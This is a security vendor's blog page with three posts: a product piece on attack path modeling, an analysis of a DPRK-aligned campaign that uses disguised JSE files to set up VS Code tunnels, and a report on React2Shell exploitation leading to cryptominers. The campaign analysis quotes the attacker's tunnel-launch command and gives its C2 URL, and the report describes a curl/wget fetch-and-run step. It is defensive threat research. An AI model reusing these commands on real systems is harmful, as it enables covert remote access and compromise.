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February 22, 2023

Find High-Impact Attack Paths with Darktrace / Proactive Exposure Management

Understand high-impact attack paths with Darktrace / Proactive Exposure Management. Learn from detailed use cases and improve your cybersecurity measures effectively.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Elliot Stocker
Product SME
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22
Feb 2023

What are the people, process, and technology assets that would do the most harm, if compromised by an attacker?

Attack path modeling provides a detailed map of all the roads that lead to an organization's crown jewels, prioritized in order of likelihood and potential impact. CISO's are increasingly looking to this kind of solution to complement their security stack because it highlights risks that are specific to this organization's structure, as well as potentially unexpected relationships between devices or users that would prove catastrophic if they were exploited.  

What makes Darktrace's Attack Path Modeling solution stand out?

  • Data sources are varied and information from the entire digital estate is considered
  • Modeling is real-time and continuously re-evaluated
  • Output does not require expert technical knowledge to be leveraged
  • Valuable as a standalone for vulnerability prioritization
  • As a component of the Darktrace ActiveAI Security Platform, the solution provides immediate value by feeding back into detection and response engines (e.g. tag critical assets for detection) but also provides long term systemic improvements as outcomes are followed up.

Thinking like an attacker

It is anticipated that CISOs will soon move beyond just insurance and checkbox compliance, as underwriters include more and more exclusions for certain types of cyber-attacks and the limits of compliance ticking the protection box rather than bolstering operational assurance become more apparent. They will push their teams to opt for more proactive cyber security measures to maximize ROI in the face of budget cuts, shifting investment into tools and capabilities that continuously improve their cyber resilience and demonstrate cyber risk reduction.

While red teams can provide insight into where effort and resource should be most immediately applied, the exercises themselves are often costly, non-exhaustive and infrequently run.

Hackers are constantly seeking pathways, preferably those of least resistance, to compromise a system by exploiting its vulnerabilities. Attack path modeling enables security teams to look at their environment from the perspective of the attacker. In turn, this helps them eliminate attack paths progressively, reducing the options an attacker would have, should they breach the walls.

A deeper dive into Attack Path Modeling

An attack path is a visual representation of the path that an attacker takes to exploit a weakness in the system. It highlights the series of steps (attack vectors) that a threat actor might take from one of the doors into the organization (attack surface) to access valuable assets.

It is typically unusual for an attacker to have a boulevard straight down to the crown jewels. They will most likely leverage a couple of loopholes, unexpected relationships and blind spots in the security stack to piece together a path to these confidential assets. Attack path modeling can help to highlight the attack vectors that connect, to form this path to compromise.  

Figure 1: The Darktrace / Proactive Exposure Management user interface.

How to model attack paths

Darktrace's proprietary Self-Learning AI models relationships, and graph theory is incorporated to understand the importance of users, documents and relationships between these.

Darktrace's Attack Path Modeling component identifies target nodes (users, accounts, devices), it then calculates the shortest paths to these target nodes and weights the results according to the likelihood of this attack path and the damage caused if the target asset was compromised. This is exactly what an attacker would do when planning an attack, albeit with a significant advantage to Darktrace's AI Engine, which has access to more information than the attacker. For the first time, defenders have the upper hand against attackers.

Avoiding siloed efforts

According to a Gartner survey, 75% of organizations are looking at consolidating security tools, not primarily because of cost, but because it helps drive cyber risk reduction. Ensuring that security efforts are part of a wider security ecosystem, rather than siloed efforts, is crucial to maximize the return on these investments.

Darktrace / Proactive Exposure Management integrates with Darktrace's detection and response to ensure that the organization's security posture is hardened, even if the team doesn't have time to eliminate the attack path.

Defensive superiority is key, and Attack Path Modeling is one way to help security teams gain back an advantage. Find out how you can test it in your own environment.

Attack Path Modeling is an objective, however, and there are a few important questions to consider when assessing the different methods of creating these models.

Are we considering all the relevant data when building my attack paths map?

Consider the case where one of your marketing executives has a close friendship with someone in your development team. How do you model that into your attack paths cartography? Attack paths encompass the full digital estate, so the attack path modeling solution should consider information from various parts, internal and external. This may include data from the Email environment, the Network, Endpoints, SaaS & Cloud, Active Directory, Vulnerability Scanners, etc.  

Cross-data analysis is the only way to understand holistic attack paths.

Are we looking at the most up to date map of attack paths?

Relationships between users, devices and other sensitive assets can evolve on a daily basis, this implies attack paths evolve on a daily basis. Ensuring that the methods or solutions used update their understanding continuously and in real-time is vital if security teams want the most up to date understanding of their organization's risk posture.

To improve our security posture, how do we know which attack paths to start with?

One thing is to map the sum-total of attack paths, another is to prioritize them. Attack path modeling gives you the map but adding a risk-assessment (explored in more depth below) layer on top is how you prioritize. This is where graph theory can be very useful to identify choke points that you may want to strengthen.  

Does this output yield actionable insights?

The prime objective of this solution is not simply to provide an assessment of cyber risk posture, but rather to help drive security efforts in the right direction. To that end, the output needs to be accessible to team members that may not have expert cyber skills. Lowering barriers to entry with usable insights and mitigation advice is key to successfully improve the organization's security posture.

Assessing risk to prioritize attack paths

Darktrace Attack Path Modeling (APM) is a risk-based approach to assessing cyber-attack pathways, thinking like an attacker, and probing the path of least resistance. 'Risk' in this case is defined as the product of two factors: Probability and Impact. By using this information to categorize possible attack paths in the risk matrix below, Darktrace's APM can prioritize attack paths to ensure security team efforts are spent on controlling for the most relevant risks for their organization.

Figure 2: Risk matrix for attack path prioritization

A: Defining Probability

There are two types of probability to consider:

The likelihood of one particular door being chosen by an attacker to infiltrate the organization (among the assets at the attack surface - this could be an internet-facing server, an inbox, a SaaS/Cloud account, etc). And,

The likelihood of one particular node (defined as a device or user account) being compromised next, via lateral movement.

Figure 3: Simplified example of calculating probability of lateral movement from a compromised agent to one of two servers

B: Defining Impact

Impact refers to the overall impact of an asset being compromised and unusable. In the case of an asset (e.g.: a key server), the bigger the disruption if this asset goes down, the higher the impact score. If considering a particular document, restricted access and sensitivity score of users accessing it are some of the variables used to estimate impact.

Figure 4: Diagram showing a simplified example of mapping access volume and sensitivity to estimate document value.

Both variables are calculated by the AI autonomously, without requiring human input. Security teams can of course reinforce the AI's understanding of the organization with their business expertise (by tagging additional sensitive devices for example).

A more in-depth description of how impact is propagated to identify key servers or sensitive documents, as well as other components that comprise the Darktrace Attack Path Modeling module can be found in this white paper.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Elliot Stocker
Product SME

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January 22, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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